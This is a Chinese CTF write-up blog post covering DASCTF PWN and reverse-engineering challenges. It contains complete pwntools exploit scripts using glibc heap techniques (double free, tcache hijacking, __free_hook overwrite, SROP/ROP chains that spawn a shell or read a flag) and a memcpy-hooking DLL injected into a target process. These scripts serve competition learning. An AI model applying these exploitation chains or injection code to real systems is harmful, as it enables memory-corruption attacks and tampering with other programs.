MENU

MAR DASCTF明御攻防赛 PWN、RE Writeup

March 27, 2021 • Read: 233 • Pwn,Reverse,CTF

图片

比赛最后拿到了第二名(密码爷带我飞),作为队伍中的PWN & RE选手,赛后复现了一下全部RE题目和两题PWN。

PWN部分

fruitpie

图片

程序代码非常简单,申请一个任意size的堆块,然后告诉你堆块的地址,并且让你在堆块附近写入10字节的。

解题思路

1.MMAP申请堆块

我们知道当我们malloc一个大的堆块(0x200000)时就会使用mmap来分配堆块,此时堆地址紧挨libc,我们可以根据输出的堆块地址,来计算出libc的基址。

2.Offset向前溢出

程序没有对我们输入的offset做检测,所以我们可以利用这个offset对堆块附近的地址来写入内容。

3.打__malloc_hook

由于题目提供了libc文件,并且在程序结束位置调用了malloc函数,所以我们可以直接打malloc_hook,但实际上发现所有的one_gadget都无法成功打通。因此题目也给了10字节的权限,为的就是让你通过__malloc_hook附近的__realloc_hook来调整栈帧。

4.__realloc_hook调整栈帧

我们知道在realloc函数的开头存在着非常多的push指令,我们可以借助这些指令来调整栈帧,并且这些指令都不会影响到之后调用__realloc_hook

图片

所以我们可以在__realloc_hook的地址写入one_gadget的地址,在__malloc_hook的地址写入realloc + x来调整栈帧,在这道题中x的取值可以有2, 4, 6, 8, 9。

PS:这道题直接用realloc符号找到的地址似乎不正确,要用__libc_realloc来定位地址。

EXP

from pwn import *
context.log_level = "debug"
#r = process('./fruitpie')
r = remote('54f57bff-61b7-47cf-a0ff-f23c4dc7756a.machine.dasctf.com', 50102)
def debug(addr = 0, PIE = True):
    if PIE:
        text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(r.pid)).readlines()[1], 16)
        print ("breakpoint_addr --> " + hex(text_base + addr))
        gdb.attach(r, 'b *{}'.format(hex(text_base + addr)))
    else:
        gdb.attach(r, "b *{}".format(hex(addr)))
r.sendlineafter("Enter the size to malloc:", str(0x100000))
r.recvuntil('0x')
mmap_addr = int(r.recvuntil('\n', drop=True), 16)
libc_base = mmap_addr - 0x515010
one = [0x4f365, 0x4f3c2, 0x10a45c]
log.success("libc_base: " + hex(libc_base))
realloc_hook_addr = libc_base + 0x3ebc28
realloc_addr = libc_base + 0x98ca0
offset = realloc_hook_addr - mmap_addr
r.sendlineafter("Offset:", hex(offset))
# gdb.attach(r, "b __libc_realloc")
r.sendafter("Data:", p64(libc_base + one[2]) + p64(realloc_addr + 2))
r.interactive()

clown

libc2.32菜单堆题,拥有add,show,delete三种操作,在add中可以edit堆块内容。

开了沙箱,需要用orw

图片

程序分析

我们可以注意到在delete函数中存在,delete之后不清空的漏洞,我们可以利用这个来造成double free。

图片

在show函数中,使用puts输出堆块内容

图片

在add函数中,要求堆块大小小于0x100,且堆块个数小于0xFF

图片

解题思路

1.利用unsorted bin泄露libc

先释放7个chunk把tcache填满,然后再释放一个chunk进入到unsorted bin(注意要有个堆块与top chunk隔开),由于在libc 2.32下 main_arena + 88的地址末尾是x00,所以我们需要覆盖最低字节才可以用puts输出。(虽然必须要覆盖一个字节)

2.利用libc2.32新特性泄露heap base

简单的来说就是在next位置会有一个key与next原来的内容进行异或并保存,这个key的地址就是next的位置右移12位(去掉末尾12位),当tcache链为空的时候,就是0与key进行异或,在next的位置内容就是key,我们可以泄露这个key来得到堆基址。

关于这个特性的详细介绍可以看我的博客:http://blog.wjhwjhn.com/archives/186/

3.通过fastbin来构造double free再利用

但是在libc 2.32中对于tcache double free的检测有些严格,并且这道题只有在add的时候才能修改堆块,所以我们考虑用fastbin来构造出double free(a->b->a),再fastbin reverse into tcache这个机制让fastbin进入到tcache中,并且覆盖next内容到tcache struct(与key异或后的结果),让单次任意读写漏洞变成多次任意读写漏洞。

4.劫持tcache struct的内容到__free_hook

由于之后SROP的payload过长,所以还要分成两段来写。同时需要注意把对应申请堆块size的counts变成1,否则无法申请出来。

5.使用gadget来将rdi参数转移到rdx

在 libc2.29 及以后的版本,setcontext + 61 中调用的参数变成了 rdx,而不是 rdi,这使得我们在利用__free_hook 传参的时候,无法直接传到 setcontext 中,这里我们就要考虑找一个 gadget 来传参使得 rdi 的参数转变到 rdx 上。

mov rdx, qword ptr [rdi + 8]; mov qword ptr [rsp], rax; call qword ptr [rdx + 0x20];

可以使用这个gadget来转移参数,这个操作以及提及多次,这里不再复述,如果有疑问的可以看一下我之前发的文章。
6.在free_hook旁边构造SROP

这个纯属为了偷懒,让SROP和写__free_hook的操作放到一起去,这样就可以一次性搞定所有环节。不过最后因为size限制的问题还是分了两部来写。

注意:在libc2.32中新增了一个检测要求tcache申请的内容要与0x10对齐,否则会申请错误。

EXP

from pwn import *
context.log_level = "debug"
r = process('./clown')
#r = remote('pwn.machine.dasctf.com', 50501)
libc = ELF('libc/libc.so.6')
context.arch = "amd64"
def choice(idx):
    r.sendafter(">> ", str(idx))

def add(size, content = 'a'):
    choice(1)
    r.sendafter("Size: ", str(size))
    r.sendafter("Content: ", content)

def delete(idx):
    choice(2)
    r.sendafter("Index: ", str(idx))

def show(idx):
    choice(3)
    r.sendafter("Index: ", str(idx))

#leak libc

#fill tcache
for i in range(7):
    add(0x100)
add(0x100) #7
add(0x100) #8
for i in range(7):
    delete(i)

delete(7) #into unsortedbin
add(0x80) #9 partial overwrite
show(7)
libc_base = u64(r.recvuntil('\x7f')[-6:].ljust(8, '\x00')) - 0x1b7d61
log.success("libc_base: " + hex(libc_base))
libc.address = libc_base
add(0x78) #10

#leak heap_base
add(0x68) #11
delete(11)
show(11)
heap_base = u64(r.recvuntil('\nDone', drop=True)[-5:].ljust(8, '\x00')) << 12
log.success("heap_base: " + hex(heap_base))

#doube free & fastbin into tcache
add(0x68, p64(0) * 2) #12
add(0x68) #13
#fill tcache
for i in range(7):
    add(0x68) #14-20
for i in range(7):
    delete(14 + i)

#double free
delete(11)
delete(13)
delete(11)
#fastbin into tcache
for i in range(7):
    add(0x68) #21-27

#change next -> tcache struct
add(0x68, p64((heap_base + 0xF0) ^ (heap_base >> 12))) #28
add(0x68) #29
add(0x68) #30

#counts0 -> 1
add(0xF8) #31
delete(31)
add(0xE8) #32
delete(32)

#hijack tcache struct 
add(0x68, p64(0) + p64(libc.sym['__free_hook'] + 0xF0) + p64(libc.sym['__free_hook'])) #33

#mov rdx, qword ptr [rdi + 8]; mov qword ptr [rsp], rax; call qword ptr [rdx + 0x20];
gadget = libc_base + 0x0000000000124990
pop_rdi_addr = libc_base + 0x00000000000277d6
pop_rsi_addr = libc_base + 0x0000000000032032
pop_rdx_addr = libc.address + 0x00000000000c800d
fake_frame_addr = libc.sym['__free_hook'] + 0x10
frame = SigreturnFrame()

frame.rax = 0
frame.rdi = fake_frame_addr + 0xF8
frame.rsp = fake_frame_addr + 0xF8 + 0x10
frame.rip = pop_rdi_addr + 1  # : ret
rop_data = [
    libc.sym['open'],
    pop_rdx_addr,
    0x100,
    pop_rdi_addr,
    3,
    pop_rsi_addr,
    fake_frame_addr + 0x200,
    libc.sym['read'],
    pop_rdi_addr,
    fake_frame_addr + 0x200,
    libc.sym['puts']
]

payload = p64(gadget) + p64(fake_frame_addr) + '\x00' * 0x20 + p64(libc.sym['setcontext'] + 53) + str(frame)[0x28:] + "flag\x00\x00\x00\x00" + p64(0) + str(flat(rop_data))

add(0xF8, payload[:0xF0]) #34 write to __free_hook part1
add(0xE8, payload[0xF0:]) #35 write to __free_hook part2

delete(34)
r.interactive()

ParentSimulator

利用程序的后门漏洞绕过double free检测,打free_hook来实现SROP

EXP

# encoding: utf-8
from pwn import *
r = process('./pwn')
context.log_level = "debug"
context.arch = "amd64"
libc = ELF('2.31libc/libc.so.6')
def choice(idx):
    r.sendlineafter(">> ", str(idx))

def add(idx, sex=1, name='a'):
    choice(1)
    r.sendlineafter("index?", str(idx))
    r.sendlineafter("\n1.Boy\n2.Girl:\n", str(sex))
    r.sendafter("child's name:", name)

def delete(idx):
    choice(4)
    r.sendlineafter("index?", str(idx))

def change_bk(idx, sex=1):
    choice(666)
    r.sendlineafter("index?", str(idx))
    r.sendafter("2.Girl:", str(sex))

def edit_fd(idx, name):
    choice(2)
    r.sendlineafter("index?", str(idx))
    r.sendafter("new name:", name[:7])


def show(idx):
    choice(3)
    r.sendlineafter("index?", str(idx))

def edit_content(idx, content):
    choice(5)
    r.sendlineafter("index?", str(idx))
    r.sendafter("description:", content)


#leak heap_base
add(0)
add(1) #top chunk
delete(0)
change_bk(0)
delete(0)
add(2)
delete(0)
show(2)
heap_base = u64(r.recvuntil(', ', drop=True)[-6:].ljust(8, '\x00')) - 0x2a0
log.success("heap_base: " + hex(heap_base))
#hijack tcache strcut
edit_fd(2, p64(heap_base + 0x28))
add(3)
add(4, 1, '\x00' * 6 + '\x07')

#leak libc
delete(0)
show(2)
malloc_hook_addr = u64(r.recvuntil('\x7f')[-6:].ljust(8, '\x00')) - 96 - 0x10
libc.address = malloc_hook_addr - libc.sym['__malloc_hook']
log.success("libc_base: " + hex(libc.address))

#0x00000000001547a0: mov rdx, qword ptr [rdi + 8]; mov qword ptr [rsp], rax; call qword ptr [rdx + 0x20];
gadget = libc.address + 0x00000000001547a0
pop_rdi_addr = libc.address + 0x0000000000026b72
pop_rsi_addr = libc.address + 0x0000000000027529
pop_rdx_r12_addr = libc.address + 0x000000000011c1e1
fake_frame_addr = libc.sym['__free_hook'] + 0x10
frame = SigreturnFrame()
frame.rax = 0
frame.rdi = fake_frame_addr + 0xF8
frame.rsp = fake_frame_addr + 0xF8 + 0x10
frame.rip = pop_rdi_addr + 1  # : ret
rop_data = [
    libc.sym['open'],
    pop_rdx_r12_addr,
    0x100,
    0,
    pop_rdi_addr,
    4,
    pop_rsi_addr,
    fake_frame_addr + 0x200,
    libc.sym['read'],
    pop_rdi_addr,
    fake_frame_addr + 0x200,
    libc.sym['puts']
]
payload = p64(gadget) + p64(fake_frame_addr) + '\x00' * 0x20 + p64(libc.sym['setcontext'] + 61) + str(frame)[0x28:] + "/flag\x00\x00\x00" + p64(0) + str(flat(rop_data))
edit_content(4, '\x00' * 0xd0 + p64(libc.sym['__free_hook']))
add(2)
edit_content(4, '\x00' * 0xd0 + p64(libc.sym['__free_hook'] - 0x10))
add(0)
edit_content(0, payload[:0xE0])
edit_content(4, '\x00' * 0xd0 + p64(libc.sym['__free_hook'] - 0x10 + 0xE0))
add(1)
edit_content(1, payload[0xE0:])
gdb.attach(r, "b free")
delete(2)
r.interactive()

babybabybabypwn

这道题实际上不需要这么复杂,但是赛后复现时间多就给自己加一点难度。

我的这个做法,可以在开启PIE和RELRO的情况下也打通。

利用unsorted bin链和tcache机制来伪造FD和BK,这个方法已经投安全客了。

再构造出堆块重叠来修改next指针,使其指向_free_hook,最后修改为system。

EXP

from pwn import *
libc = ELF('2.31libc/libc.so.6')
def choice(idx):
    r.sendlineafter(">> ", str(idx))

def add(idx, size, content='a'):
    choice(1)
    r.sendlineafter("index?", str(idx))
    r.sendlineafter("size?", str(size))
    r.sendafter("content?", content)

def edit(idx, content):
    choice(4)
    r.sendafter("Sure to exit?(y/n)", 'n')
    r.sendlineafter("index?", str(idx))
    r.sendlineafter("content?", content)

def show(idx):
    choice(2)
    r.sendlineafter("index?", str(idx))

def delete(idx):
    choice(3)
    r.sendlineafter("index?", str(idx))

def ClearTcache(idx, cnt, size):
    for i in range(cnt):
        add(idx + i, size)

def FillTcache(idx, cnt):
    for i in range(cnt):
        delete(idx + i)
def pwn():
    r.recvuntil('0x')
    libc.address = int(r.recvuntil('\n', drop=True), 16) - libc.sym['puts']
    for i in range(4):
        add(0, 0x1F8)
    add(0, 0x108)
    add(0, 0xF8)
    add(7, 0xF8)  # fd 0x405290
    add(8, 0x158)
    add(9, 0xF8)
    add(10, 0x138)  # 0x4055f0
    add(11, 0x88)
    add(12, 0xF8)  # bk 0x4057c0
    add(13, 0x88)
    add(14, 0xF8)
    add(15, 0x88)
    ClearTcache(0, 7, 0xF8)
    FillTcache(0, 7)
    ClearTcache(0, 7, 0x138)
    FillTcache(0, 7)
    delete(7)
    delete(10)
    delete(12)
    delete(9)
    ClearTcache(0, 7, 0x138)
    ClearTcache(16, 7, 0xF8)
    add(9, 0x138, 'a' * 0xF8 + '\x61\x03')
    add(7, 0xF8)  # fd 0x405290
    add(12, 0xF8)  # bk 0x4057c0
    add(10, 0xF8)  # help 30
    # fix fd->bk
    FillTcache(16, 7)
    delete(7)
    delete(10)
    ClearTcache(16, 7, 0xF8)
    add(30, 0x200)
    add(7, 0xF8, 'a' * 8)  # fd 0x405290
    add(10, 0xF8)  # help
    # fix bk->fd
    # FillTcache(16, 7)
    delete(10)
    delete(12)
    add(12, 0xF8, '\n')  # bk 0x4057c0
    add(10, 0xF8)  # help
    # ClearTcache(16, 7, 0xF8)
    # add(20, 0x200)
    edit(13, 'a' * 0x80 + p64(0x360))
    ClearTcache(0, 7, 0x108)
    FillTcache(0, 7)
    FillTcache(16, 7)
    delete(14)
    ClearTcache(16, 7, 0xF8)
    FillTcache(16, 2)
    add(10, 0x138)
    delete(12)
    ClearTcache(0, 7, 0x108)
    add(11, 0x108, 'a' * 0x88 + p64(0xF8) + p64(libc.sym['__free_hook']  - 8))
    add(0, 0xF8)
    add(0, 0xF8, '/bin/sh\x00' + p64(libc.sym['system']))
    delete(0)
    r.interactive()
while True:
    try:
        r = process('./babybabybabyheap')
        pwn()
    except:
        libc.address = 0
        pass

RE部分

drinkSomeTea

不太容易发现的魔改Tea

去除花指令

观察主函数,发现有个调用的函数无法正常识别,无法查看伪代码。

观察汇编后发现存在花指令,于是我们考虑手动去除。

图片

可以看到我们代码中一定会跳转到地址是401117,但是IDA却被误导从401116开始汇编导致后续汇编出错。

我们可以在代码上按D键转换为数据。

图片

然后手动在401117位置按C键转化为代码。

图片

可以发现在401116位置多出了一个0xE8,我们可以用Patch工具修改为0x90(nop)指令

再到函数头部按P键识别为函数

图片

TEA encode函数

之后就可以F5查看伪代码了

图片

稍微进行一下重命名就可以发现这是个很标准的tea加密函数,那么你就掉进这个坑里了,仔细观察变量类型都是int,但是在常规的tea加密函数中应该是用unsigned int来对数据进行处理,所以导致一般网上的tea解密脚本无法使用,需要手动修改类型为int,两者在符号运算的过程中存在一定区别导致程序无法正确的计算。

主函数逻辑

图片

在main函数中的逻辑非常清晰,大概就是读入tea.png文件,然后每8字节进行一次加密,最后输出到tea.png.out文件中,对应的tea加密key就是那个fake flag了,我们现在有了加密后的数据,只需要编写解密代码即可得到图片。

图片

解题代码

#include <cstdio>
#include <Windows.h>
void encrypt(int* v, const unsigned int* k)
{
    int v0 = v[0], v1 = v[1], sum = 0, i;
    int delta = 0x9E3779B9;
    int k0 = k[0], k1 = k[1], k2 = k[2], k3 = k[3];
    for (i = 0; i < 32; i++)
    {
        sum += delta;
        v0 += ((v1 << 4) + k0) ^ (v1 + sum) ^ ((v1 >> 5) + k1);
        v1 += ((v0 << 4) + k2) ^ (v0 + sum) ^ ((v0 >> 5) + k3);
    }
    v[0] = v0;
    v[1] = v1;
}
void decrypt(int* v, unsigned int* k)
{
    int v0 = v[0], v1 = v[1], sum = 0xC6EF3720, i;
    int delta = 0x9e3779b9;
    int k0 = k[0], k1 = k[1], k2 = k[2], k3 = k[3];
    for (i = 0; i < 32; i++)
    {
        v1 -= ((v0 << 4) + k2) ^ (v0 + sum) ^ ((v0 >> 5) + k3);
        v0 -= ((v1 << 4) + k0) ^ (v1 + sum) ^ ((v1 >> 5) + k1);
        sum -= delta;
    }
    v[0] = v0;
    v[1] = v1;
}
unsigned char file_data[0x10000];
int main()
{
    unsigned int k[4] = {
        0x67616C66, 0x6B61667B, 0x6C665F65, 0x7D216761
    };
    HANDLE h = CreateFileA("tea.png.out", 0xC0000000, 0, 0, 3u, 0x80u, 0);
    DWORD file_size = GetFileSize(h, 0);
    SetFilePointer(h, 0, 0, 0);
    DWORD  NumberOfBytesRead = 0;
    ReadFile(h, file_data, file_size, &NumberOfBytesRead, 0);
    CloseHandle(h);
    for (int i = 0; i < file_size >> 2; i += 2) decrypt(&((int*)file_data)[i], k);
    HANDLE v9 = CreateFileA("tea.png", 0xC0000000, 0, 0, 2u, 0x80u, 0);
    WriteFile(v9, &file_data, file_size, &NumberOfBytesRead, 0);
    CloseHandle(v9);
    return 0;
}

Enjoyit-1

查壳发现是C#写的程序

图片

这时候就可以直接掏出C#反汇编神器dnSpy

图片

发现主要的程序逻辑如图,加密过程都在b.c函数中。

图片

观察b.c函数感觉是一个base64,再看一下base64表,发现是换表的base64。

图片

编写python程序解密换表base64。

import base64
import string
str1 = "yQXHyBvN3g/81gv51QXG1QTBxRr/yvXK1hC="
string1 = "abcdefghijklmnopqrstuvwxyz0123456789+/ABCDEFGHIJKLMNOPQRSTUVWXYZ="
string2 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/="
print(base64.b64decode(str1.translate(str.maketrans(string1,string2))))

解密的内容输入后发现程序卡在了后续的循环上
在旁边下断点并使用dnSpy调试程序(F5)

图片

在下方修改i的值为100000,即可绕过这个循环延迟

程序执行后输出flag:

图片

replace

主函数逻辑

图片

为了方便读者理解,我这里修改了函数名称。

实际上这道题和题目的意思一样,用假的加密函数来迷惑新手,实际上的加密过程中hook后的函数。而这个题目名称replace实际上就暗示了hook这个操作。

fake_encode函数

图片

这部分内容实际上没有意义,因为真正的操作在这之后的replace函数中,而我也没有对这部分的内容进行计算,算出来的应该是个fake flag吧,因为这道题的难度等级,意味着这道题肯定没有那么容易,所以我直接看向后面的代码。

寻找true_encode函数

我们这里使用IDA调试来快速的找到hook后的函数位置。

图片

这里按F7步入到IsDebuggerPresent函数中

图片

就这样简单的找到了真实的encode函数,这里又有一个花指令,我们只需要使用和上面一样的方法nop掉即可

图片

真实加密函数

接着使用F5查看程序的伪代码

图片

代码逻辑简单的来说就是用sbox对密码进行单表替换,并且之后进行类似栅栏密码的操作来加密,加密后的内容才是真正最后比对的内容。实际上这里使用了花指令导致这个函数无法被识别,这样让你用X查找引用也无法找到这个函数地址。

最后我们只需要把比对的内容复制出来,直接编写python脚本进行求解。

图片

在比赛过程中为了快速解题直接用z3来进行求解。

解题代码

这里有个细节就是要把求解的字节内容设置为32个位,这样在移位的时候才会使用32个位进行异或,否则是无法计算出正确的flag的。但是我们又要保证每个的内容只使用8个位,这时候就可以用x & 0xff == x来限制范围。

from z3 import *
sbox = [0x00000080, 0x00000065, 0x0000002F, 0x00000034, 0x00000012, 0x00000037, 0x0000007D, 0x00000040, 0x00000026, 0x00000016, 0x0000004B, 0x0000004D, 0x00000055, 0x00000043, 0x0000005C, 0x00000017, 0x0000003F, 0x00000069, 0x00000079, 0x00000053, 0x00000018, 0x00000002, 0x00000006, 0x00000061, 0x00000027, 0x00000008, 0x00000049, 0x0000004A, 0x00000064, 0x00000023, 0x00000056, 0x0000005B, 0x0000006F, 0x00000011, 0x0000004F, 0x00000014, 0x00000004, 0x0000001E, 0x0000005E, 0x0000002D, 0x0000002A, 0x00000032, 0x0000002B, 0x0000006C, 0x00000074, 0x00000009, 0x0000006E, 0x00000042, 0x00000070, 0x0000005A, 0x00000071, 0x0000001C, 0x0000007B, 0x0000002C, 0x00000075, 0x00000054, 0x00000030, 0x0000007E, 0x0000005F, 0x0000000E, 0x00000001, 0x00000046, 0x0000001D, 0x00000020, 0x0000003C, 0x00000066, 0x0000006B, 0x00000076, 0x00000063, 0x00000047, 0x0000006A, 0x00000029, 0x00000025, 0x0000004E, 0x00000031, 0x00000013, 0x00000050, 0x00000051, 0x00000033, 0x00000059, 0x0000001A, 0x0000005D, 0x00000044, 0x0000003E, 0x00000028, 0x0000000F, 0x00000019, 0x0000002E, 0x00000005, 0x00000062, 0x0000004C, 0x0000003A, 0x00000021, 0x00000045, 0x0000001F, 0x00000038, 0x0000007F, 0x00000057, 0x0000003D, 0x0000001B, 0x0000003B, 0x00000024, 0x00000041, 0x00000077, 0x0000006D, 0x0000007A, 0x00000052, 0x00000073, 0x00000007, 0x00000010, 0x00000035, 0x0000000A, 0x0000000D, 0x00000003, 0x0000000B, 0x00000048, 0x00000067, 0x00000015, 0x00000078, 0x0000000C, 0x00000060, 0x00000039, 0x00000036, 0x00000022, 0x0000007C, 0x00000058, 0x00000072, 0x00000068]
invSbox = {}
for i in range(len(sbox)):
    invSbox[sbox[i]] = i
s = "416f6b116549435c2c0f1143174339023d4d4c0f183e7828"
num = []
for i in range(6):
    num.append(int(s[i * 8: (i + 1) * 8], 16))
solver = Solver()
v3 = [BitVec(f'v{i}', 32) for i in range(24)]
for i in range(24):
    solver.add(v3[i] & 0xFF == v3[i])
for i in range(6):
    solver.add((v3[i + 12] << 8 | v3[i + 6] << 16 | v3[i] << 24 | v3[i + 18]) == num[i])
solver.check()
ans = solver.model()
input_data = []
for i in range(24):
    input_data.append(ans[v3[i]].as_long())
for i in range(24):
    for j in range(5):
        input_data[i] = invSbox[input_data[i]]
flag = ""
for i in input_data:
    flag += chr(i)
print(flag)

StrangeMine

这道题在比赛中没有做出来,本来以为是直接扫完就可以得到flag的,所以就拜托给队友来做了,结果发现没有这么简单,所以赛后复现一下

寻找关键代码

对于这种游戏的题目,使用CE来寻找关键的代码再合适不过了。

我们知道当我们完成游戏的时候会跳出flag,那么我们完成游戏之前的操作就是在雷上标旗帜。

所以我们可以搜索旗帜的数量作为关键点来入手。

图片

搜索直到一个地址后

图片

在下方地址中按下F6

图片

找出改写该地址的代码,然后再标一个旗帜来触发这个

图片

分析代码逻辑

在IDA中找到这个地址,并查看伪代码

图片

找到该函数的引用

图片

发现这个函数就是处理右键旗帜的主要逻辑函数,找到检测是否游戏结束的check函数。

图片

这里实际上检测所有炸弹是否被标记,如果有未标记的炸弹则返回0,否则会触发int3断点。

我们可以patch这个位置

图片

让他直接跳转到int3断点(这意味着游戏结束)

图片

直接patch之后执行程序

图片

但是提交flag发现是错误的,于是仔细的思考了这个题目。

重新审视

我们做到这里的一个疑问就是这个int3断点是干啥的,在哪里弹窗的flag?

猜测有其他地方存在异常处理函数并输出了flag信息。

仔细寻找后发现在这里

图片

这个函数会处理异常信息,又是和之前类似的花指令,用类似的方式处理就可以查看伪代码了

图片

这里会判定异常发生位置,并跳过一些无用的花指令异常,若在正确位置发生int3断点错误,就会使用程序的代码段内容计算md5内容并弹窗输出,而在我们patch之后,我们的程序代码段内容就发生了改变,这使得我们用patch的方式来修改程序的内容得出的md5信息错误,从而无法得到正常的flag信息。

所以这里我们考虑编写dll来hook这个程序的memcpy函数。

Hook memcpy内容

我在比赛的时候就卡在了这个部分,虽然能够想到用hook来解决这个问题,但是由于时间较短,并且没有现有的hook程序,就先去做PWN题了。

我们可以编写一个DLL来hook memcpy函数,让他在复制这段内容的时候把patch的内容恢复到原样,这样的话就相当于绕过了这个md5检测,从而得到了正确的flag信息。Dll代码就不做解释了,有需要的可以直接抄走

// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "pch.h"
#pragma pack(push)
#pragma pack(1)
struct JmpCode
{
    const BYTE jmp;
    DWORD address;
    JmpCode(DWORD srcAddr, DWORD dstAddr) : jmp(0xE9)
    {
        setAddress(srcAddr, dstAddr);
    }
    void setAddress(DWORD srcAddr, DWORD dstAddr)
    {
        address = dstAddr - srcAddr - sizeof(JmpCode);
    }
};
#pragma pack(pop)
void Hook(void* originalFunction, void* hookFunction, BYTE* oldCode)
{
    JmpCode code((uintptr_t)originalFunction, (uintptr_t)hookFunction);
    DWORD oldProtect, oldProtect2;
    if (!VirtualProtect(originalFunction, sizeof(code), PAGE_EXECUTE_READWRITE, &oldProtect))
    {
        printf("Hook Error\n");
        return;
    }
    memcpy(oldCode, originalFunction, sizeof(code));
    memcpy(originalFunction, &code, sizeof(code));
    if (!VirtualProtect(originalFunction, sizeof(code), oldProtect, &oldProtect2))
    {
        printf("Hook Error\n");
        return;
    }
}
void UnHook(void* originalFunction, BYTE* oldCode)
{
    DWORD oldProtect, oldProtect2;
    VirtualProtect(originalFunction, sizeof(JmpCode), PAGE_EXECUTE_READWRITE, &oldProtect);
    memcpy(originalFunction, oldCode, sizeof(JmpCode));
    VirtualProtect(originalFunction, sizeof(JmpCode), oldProtect, &oldProtect2);
}
BYTE OldCode[sizeof(JmpCode)];
LPVOID memcpy_addr;
void* __cdecl MyMemcpy(void* _Dst, void const* _Src, size_t _Size)
{
    UnHook(memcpy_addr, OldCode);
    void* ret = memcpy(_Dst, _Src, _Size);
    Hook(memcpy_addr, MyMemcpy, OldCode);
    printf("_Dst = 0x%08x _Src = 0x%08x _Size = 0x%08x\n", (unsigned int)_Dst, (unsigned int)_Src, _Size);
    DWORD patchAddr = 0x403D64;
    if ((DWORD)_Src <= patchAddr && patchAddr <= (DWORD)_Src + _Size)
    {
        int offset = patchAddr - (DWORD)_Src;
        ((unsigned char *)_Dst)[offset] = 0x7D;
    }
    return ret;
}
BOOL APIENTRY DllMain( HMODULE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
                     )
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
    {
        freopen("C:\\log.txt", "w", stdout);
        HMODULE hModule = LoadLibraryA("VCRUNTIME140.dll");
        memcpy_addr = GetProcAddress(hModule, "memcpy");
        Hook(memcpy_addr, MyMemcpy, OldCode);
        break;
    }
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        if (!memcpy_addr) UnHook(memcpy_addr, OldCode);
        break;
    }
    return TRUE;
}

运行程序并注入

实际上在CE中就有一个注入攻击非常方便的可以使用

图片

我们可以直接利用这个来选择我们编译好的DLL来注入,并且可以观察一下log文件。

图片

果然存在对我们patch部分的memcpy。

最终我们得到了正确的flag:

图片

总结

这次比赛的难度均匀,不同层次的选手做题都能有良好的体验。相对于一些大比赛来说,做题时间较短,更加考察的是选手的细心和做题速度。总的来说能收获不少,美中不足的是似乎没有官方wp给出,这让一些入门选手很难从题目中学到知识,希望这能够完善起来,最后祝DASCTF比赛越办越好!

Last Modified: April 6, 2021
Archives QR Code Tip
QR Code for this page
Tipping QR Code